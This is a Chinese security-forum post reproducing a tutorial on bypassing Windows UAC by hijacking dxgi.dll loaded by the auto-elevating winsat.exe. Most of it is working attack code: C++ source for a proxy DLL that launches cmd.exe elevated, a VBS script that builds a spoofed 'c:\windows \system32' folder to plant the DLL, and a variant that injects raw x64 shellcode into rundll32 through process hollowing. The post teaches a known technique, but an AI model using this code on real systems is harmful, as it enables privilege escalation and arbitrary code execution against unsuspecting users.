安全矩阵

 找回密码
 立即注册
搜索
查看: 1703|回复: 0

bypassUAC && DLL劫持

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-12-8 16:03:22 | 显示全部楼层 |阅读模式
原文链接:bypassUAC && DLL劫持


0x11 UAC简介

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

UAC需要授权的动作包括:

1.配置Windows Update
2.增加或删除用户账户
3.改变用户的账户类型
4.改变UAC设置
6.安装ActiveX
6.安装或移除程序
7.安装设备驱动程序
8.设置家长控制
9.将文件移动或复制到Program Files或Windows目录
10.查看其他用户文件夹

效果如下:



而UAC也是区分等级的,具体设置如下




为什么有的应用程序不需要提示UAC??
一句话解释就是因为有的可以程序可以autoElevate(自动提升)

这也是我们常用的几种uac bypass的手法之一.常见手法如下

1.白名单提权机制 - autoElevate
2.DLL 劫持
3.Windows 自身漏洞提权
4.远程注入
5.COM 接口技术

具有autoElevate属性True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动,假设我们通过COM技术或者DLL劫持该应用程序,也能够获得管理员权限,但分析成本,利用难度也都是很高的。

0x12 BypassUAC

下面我们来查找一下具有该权限的应用程序,并利用DLL劫持的方法来bypassUAC,关于DLL劫持的原理这里不再论述,网上已经有多相关的文章了。
  1. strings.exe -s *.exe | findstr /i autoelevate
复制代码




我们最后选择了winsat.exe这个程序作为我们的劫持程序,下面就是查看该程序会加载的DLL。



发现其会加载dxgi.dll。
下面就是需要编写我们的dll了,原理如下(图来自国外)



可以通过dllexp来查看dll内的函数



你可以自行编写所需要的dll,也可以使用一些自动化工具来生成所需的dll。中间也是出了很多问题,多亏了团队的wlpz师傅的指点,我这里最后的目的就是使用dll劫持来运行一个cmd,所以最后的主要代码如下:

  1. # include "pch.h"

  2. #include <windows.h>
  3. #include <Wtsapi32.h>

  4. #pragma comment(lib, "Wtsapi32.lib")

  5. # define EXTERNC extern "C"
  6. # define NAKED __declspec(naked)
  7. # define EXPORT EXTERNC __declspec(dllexport)
  8. # define ALCPP EXPORT NAKED
  9. # define ALSTD EXTERNC EXPORT NAKED void __stdcall
  10. # define ALCFAST EXTERNC EXPORT NAKED void __fastcall
  11. # define ALCDECL EXTERNC NAKED void __cdecl

  12. EXTERNC
  13. {
  14.     FARPROC Hijack_ApplyCompatResolutionQuirking;
  15.     FARPROC Hijack_CompatString;
  16.     FARPROC Hijack_CompatValue;
  17.     FARPROC Hijack_CreateDXGIFactory;
  18.     FARPROC Hijack_CreateDXGIFactory1;
  19.     FARPROC Hijack_CreateDXGIFactory2;
  20.     FARPROC Hijack_DXGID3D10CreateDevice;
  21.     FARPROC Hijack_DXGID3D10CreateLayeredDevice;
  22.     FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;
  23.     FARPROC Hijack_DXGID3D10RegisterLayers;
  24.     FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;
  25.     FARPROC Hijack_DXGIDumpJournal;
  26.     FARPROC Hijack_DXGIGetDebugInterface1;
  27.     FARPROC Hijack_DXGIReportAdapterConfiguration;
  28.     FARPROC Hijack_PIXBeginCapture;
  29.     FARPROC Hijack_PIXEndCapture;
  30.     FARPROC Hijack_PIXGetCaptureState;
  31.     FARPROC Hijack_SetAppCompatStringPointer;
  32.     FARPROC Hijack_UpdateHMDEmulationStatus;

  33. }

  34. namespace DLLHijacker
  35. {
  36.     HMODULE m_hModule = NULL;
  37.     DWORD m_dwReturn[17] = {0};

  38.     inline BOOL WINAPI Load()
  39. {
  40.         TCHAR tzPath[MAX_PATH];
  41.         lstrcpy(tzPath, TEXT("dxgi"));
  42.         m_hModule = LoadLibrary(tzPath);
  43.         if (m_hModule == NULL)
  44.             return FALSE;
  45.         return (m_hModule != NULL);
  46.     }

  47.     FARPROC WINAPI GetAddress(PCSTR pszProcName)
  48. {
  49.         FARPROC fpAddress;
  50.         CHAR szProcName[16];
  51.         fpAddress = GetProcAddress(m_hModule, pszProcName);
  52.         if (fpAddress == NULL)
  53.         {
  54.             if (HIWORD(pszProcName) == 0)
  55.             {
  56.                 wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
  57.                 pszProcName = szProcName;
  58.             }
  59.             ExitProcess(-2);
  60.         }
  61.         return fpAddress;
  62.     }
  63. }

  64. using namespace DLLHijacker;



  65. void StartProcess()
  66. {
  67.     STARTUPINFO startInfo = { 0 };

  68.     PROCESS_INFORMATION procInfo = { 0 };

  69.     WCHAR cmdline[] = L"cmd.exe";
  70.    
  71.     CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);
  72. }


  73. BOOL APIENTRY DllMain( HMODULE hModule,
  74.                        DWORD  ul_reason_for_call,
  75.                        LPVOID lpReserved
  76.                      )
  77. {
  78.     switch (ul_reason_for_call)
  79.     {
  80.     case DLL_PROCESS_ATTACH:
  81.     {
  82.         DisableThreadLibraryCalls(hModule);
  83.         if(Load())
  84.         {
  85.             Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking");
  86.       Hijack_CompatString = GetAddress("CompatString");
  87.       Hijack_CompatValue = GetAddress("CompatValue");
  88.       Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory");
  89.       Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1");
  90.       Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2");
  91.       Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice");
  92.       Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice");
  93.       Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize");
  94.       Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers");
  95.       Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport");
  96.       Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal");
  97.       Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1");
  98.       Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration");
  99.       Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture");
  100.       Hijack_PIXEndCapture = GetAddress("PIXEndCapture");
  101.       Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState");
  102.       Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer");
  103.       Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");
  104.       
  105.             StartProcess();

  106.         }

  107.     }
  108.     case DLL_THREAD_ATTACH:
  109.     case DLL_THREAD_DETACH:
  110.     case DLL_PROCESS_DETACH:
  111.         break;
  112.     }
  113.     return TRUE;
  114. }

复制代码


但是这里又碰上了一个问题,一般这种系统的dll都是需要权限才能更改、移动的,劫持的话就需要做一些操作,不过好在发现了一个vbs脚本,可以帮助我们来完成这个操作,免除权限问题,代码很简单,就不赘述了

  1. Set oFSO = CreateObject("Scripting.FileSystemObject")
  2. Set wshshell = wscript.createobject("WScript.Shell")

  3. ' Get target binary and payload
  4. WScript.StdOut.Write("System32 binary: ")
  5. strBinary = WScript.StdIn.ReadLine()
  6. WScript.StdOut.Write("Path to your DLL: ")
  7. strDLL = WScript.StdIn.ReadLine()

  8. ' Create folders
  9. Const target = "c:\windows "
  10. target_sys32 = (target & "system32")
  11. target_binary = (target_sys32 & strBinary)
  12. If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
  13. If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If

  14. ' Copy legit binary and evil DLL
  15. oFSO.CopyFile ("c:\windows\system32" & strBinary), target_binary
  16. oFSO.CopyFile strDLL, target_sys32
  17. ' Run, Forrest, Run!
  18. wshshell.Run("""" & target_binary & """")

  19. ' Clean files
  20. WScript.StdOut.Write("Clean up? (press enter to continue)")
  21. WScript.StdIn.ReadLine()
  22. wshshell.Run("powershell /c ""rm -r """"\\?" & target & """""""")
复制代码

最后的效果如下




如果需要加载shellcode,可以改写里面的函数,比如变成下面这样

  1. void StartProcess()
  2. {
  3.   unsigned char shellcode_calc[] =
  4.     "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
  5.     "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
  6.     "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
  7.     "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
  8.     "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
  9.     "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
  10.     "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
  11.     "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
  12.     "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
  13.     "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
  14.     "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
  15.     "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
  16.     "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
  17.     "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
  18.     "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
  19.     "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
  20.     "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
  21.     "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
  22.     "\x63\x2e\x65\x78\x65\x00";

  23.   TCHAR CommandLine[] = TEXT("c:\\windows\\system32\\rundll32.exe");

  24.   CONTEXT Context;
  25.   struct _STARTUPINFOA StartupInfo;
  26.   struct _PROCESS_INFORMATION ProcessInformation;
  27.   LPVOID lpBaseAddress;  

  28.   ZeroMemory(&StartupInfo, sizeof(StartupInfo));
  29.   StartupInfo.cb = 104;
  30.   if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {
  31.     Context.ContextFlags = 1048579;
  32.     GetThreadContext(ProcessInformation.hThread, &Context);
  33.     lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);
  34.     WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);
  35.     Context.Rip = (DWORD64)lpBaseAddress;
  36.     SetThreadContext(ProcessInformation.hThread, &Context);
  37.     ResumeThread(ProcessInformation.hThread);
  38.     CloseHandle(ProcessInformation.hThread);
  39.     CloseHandle(ProcessInformation.hProcess);
  40.   }
  41. }
复制代码


写在后面,当时学习该方法时,发现该作者已经整理了一份可劫持的系统表,地址如下;

https://github.com/wietze/window ... king_candidates.csv



有兴趣的可以复现看看.

参考文章:
https://payloads.online/archiver ... D%E6%96%B9%E5%BC%8F
https://payloads.online/archivers/2020-03-02/2
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 15:38 , Processed in 0.015382 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表